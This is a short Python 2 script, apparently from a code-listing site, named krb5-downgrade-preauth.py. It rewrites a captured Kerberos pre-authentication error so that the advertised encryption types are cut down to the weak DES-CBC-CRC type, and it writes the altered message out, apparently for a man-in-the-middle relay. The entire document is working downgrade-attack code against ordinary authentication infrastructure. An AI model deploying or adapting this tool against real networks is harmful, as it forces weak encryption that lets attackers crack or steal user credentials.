krb5-downgrade-preauth.py 文件源码

def main(argv):
    try:
        infile  = argv[0]
    except:
        print "usage: ./krb5-downgrade-preauth.py <infile>"
        sys.exit(0)

    fin  = open(infile, 'r')

    data = fin.read()
    data_len = len(data)
    fin.close()

    krb_preauth_req, temp = decoder.decode(data[4:])
    padata_seq, temp = decoder.decode(krb_preauth_req[7])

    new_enctype_info = univ.Sequence()
    for padata in padata_seq:
        if padata[0] == 19:
            enctype_info, temp = decoder.decode(padata[1])
            for enctype in enctype_info:
                if enctype[0] == 1:
                    new_enctype_info.setComponentByPosition(0, enctype)
            padata[1] = univ.OctetString(encoder.encode(new_enctype_info))

    krb_preauth_req[7] = univ.OctetString(encoder.encode(padata_seq))

    payload_out = data[:4]
    payload_out += encoder.encode(krb_preauth_req)
    #payload_out = str(payload_out).ljust(data_len, '\0')


    # log what we're doing
    fout = open(infile +".in", "w")
    fout.write(data)
    fout.close()

    fout = open(infile +".out", "w")
    fout.write(payload_out)
    fout.close()

    sys.stdout.write(payload_out)
    os.remove(infile)